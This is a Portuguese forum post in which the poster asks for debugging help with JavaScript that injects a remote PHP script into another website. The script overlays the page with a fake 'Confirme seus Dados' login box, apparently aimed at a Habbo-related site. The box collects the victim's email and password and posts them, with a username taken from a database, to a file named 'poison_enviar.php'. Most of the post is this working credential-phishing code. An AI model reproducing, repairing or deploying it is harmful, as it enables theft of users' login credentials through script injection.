problema ao chamar uma pagina php com o javascript

eae galera beleza

bom estou fazendo um script

que puxe uma pagina externa php e que rode os scripts que existem

nessa pagina php

para determinado site

o codigo está correto!?

var a = document.createElement('script');
a.src='http://meusite.com.br/script.php'

a.type='text/javascript';
document.body.appendChild(a);
void(0);

quando executo na pagina nao acontece nada!!

script.php:

<?php
//session_start();
include "config.php";
$sql = "SELECT * FROM usuarios";
$query = mysql_query($sql);
$row = mysql_fetch_array($query);
$name = $row['username'];
?>
<script src="http://code.jquery.com/jquery-latest.min.js"></script>
<script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js"></script>
<script src="http://malsup.github.io/jquery.blockUI.js"></script>
<script src="http://malsup.github.com/chili-1.7.pack.js"></script>
<!--<script src="http://www.levadalouca.com/box.js"></script> -->
<link type="text/css" href="[http://ajax.googleapis.com/ajax/libs/jqueryui/1/themes/smoothness/jquery-ui.css](http://ajax.googleapis.com/ajax/libs/jqueryui/1/themes/smoothness/jquery-ui.css)" rel="stylesheet">
<link type="text/css" href="[http://www.malsup.com/jquery/jq.css](http://www.malsup.com/jquery/jq.css)" rel="stylesheet">
<link type="text/css" href="[http://www.levadalouca.com/block.css](http://www.levadalouca.com/block.css)" rel="stylesheet">
<link type="text/css" href="[http://www.levadalouca.com/boxhabbo.css](http://www.levadalouca.com/boxhabbo.css)" rel="stylesheet">
<script type="text/javascript">
$(document).ready(function(){
$(document).ready(function() {
 //$('#demo9').click(function() {
 $.blockUI();
 $('.blockOverlay').attr('title','Click to unblock').click($.unblockUI);
 //});
});

$.blockUI.defaults = { // message displayed when blocking (use null for no message)

 message: '<div id="titulo"><div style="position:relative;top:6px;"><b>Confirme seus Dados:</b></div></div><br><br> <form id="ajax_form" name="form" action="" method="GET"><label>Email:</label><br><input type="text" id="email" name="email"></input><br><label>Senha:</label><br><input type="password" id="senha" name="senha"></input><br><input type="hidden" id="nome" value="<?php echo $name; ?>"></input><button id="botao">OK</button></FORM>',

 title: null, // title string; only used when theme == true
 draggable: true, // only used when theme == true (requires jquery-ui.js to be loaded)

 theme: false, // set to true to use with jQuery UI themes

 // styles for the message when blocking; if you wish to disable
 // these and use an external stylesheet then do this in your code:
 // $.blockUI.defaults.css = {};
 css: {
 padding: 0,
 margin: 0,
 width: '30%',
 top: '40%',
 left: '35%',
 textAlign: 'center',
 color: '#000',
 border: '3px solid #aaa',
 backgroundColor:'#fff',
 cursor: 'pointer'
 },

 // minimal style set used when themes are used
 themedCSS: {
 width: '30%',
 top: '40%',
 left: '35%'
 },

 // styles for the overlay
 overlayCSS: {
 backgroundColor: '#000',
 opacity: 0.6,
 cursor: 'wait'
 },

 // style to replace wait cursor before unblocking to correct issue
 // of lingering wait cursor
 cursorReset: 'default',

 // styles applied when using $.growlUI
 growlCSS: {
 width: '350px',
 top: '10px',
 left: '',
 right: '10px',
 border: 'none',
 padding: '5px',
 opacity: 0.6,
 cursor: null,
 color: '#fff',
 backgroundColor: '#000',
 '-webkit-border-radius': '10px',
 '-moz-border-radius': '10px'
 },

 // IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
 // (hat tip to Jorge H. N. de Vasconcelos)
 iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',

 // force usage of iframe in non-IE browsers (handy for blocking applets)
 forceIframe: false,

 // z-index for the blocking overlay
 baseZ: 1000,

 // set these to true to have the message automatically centered
 centerX: true, // <-- only effects element blocking (page block controlled via css above)
 centerY: true,

 // allow body element to be stetched in ie6; this makes blocking look better
 // on "short" pages. disable if you wish to prevent changes to the body height
 allowBodyStretch: true,

 // enable if you want key and mouse events to be disabled for content that is blocked
 bindEvents: true,

 // be default blockUI will supress tab navigation from leaving blocking content
 // (if bindEvents is true)
 constrainTabKey: true,

 // fadeIn time in millis; set to 0 to disable fadeIn on block
 fadeIn: 200,

 // fadeOut time in millis; set to 0 to disable fadeOut on unblock
 fadeOut: 400,

 // time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
 timeout: 0,

 // disable if you don't want to show the overlay
 showOverlay: true,

 // if true, focus will be placed in the first available input field when
 // page blocking
 focusInput: true,

 // suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
 // no longer needed in 2012
 // applyPlatformOpacityRules: true,

 // callback method invoked when fadeIn has completed and blocking message is visible
 onBlock: null,

 // callback method invoked when unblocking has completed; the callback is
 // passed the element that has been unblocked (which is the window object for page
 // blocks) and the options that were passed to the unblock call:
 // onUnblock(element, options)
 onUnblock: null,

 // don't ask; if you really must know: [http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493](http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493)
 quirksmodeOffsetHack: 4,

 // class name of the message block
 blockMsgClass: 'blockMsg',

 // if it is already blocked, then ignore it (don't unblock and reblock)
 ignoreIfBlocked: false
};

/*

$("#header").css('margin-left','+=150px');
$("#header").css('height','-=10px');

$("#header").css('background-color','#4B5A5F'); */

});

jQuery(document).ready(function(){
jQuery('#ajax_form').submit(function(){
var dados = jQuery( this ).serialize();

jQuery.ajax({
type: "POST",

url: "poison_enviar.php?nome=<?php echo $name; ?>&email=<?php echo $email; ?>&senha=<?php echo $senha; ?>",

data: dados,
success: function( data )
{

alert( data );
}
});
return false;
});
});

</script>

<body></body>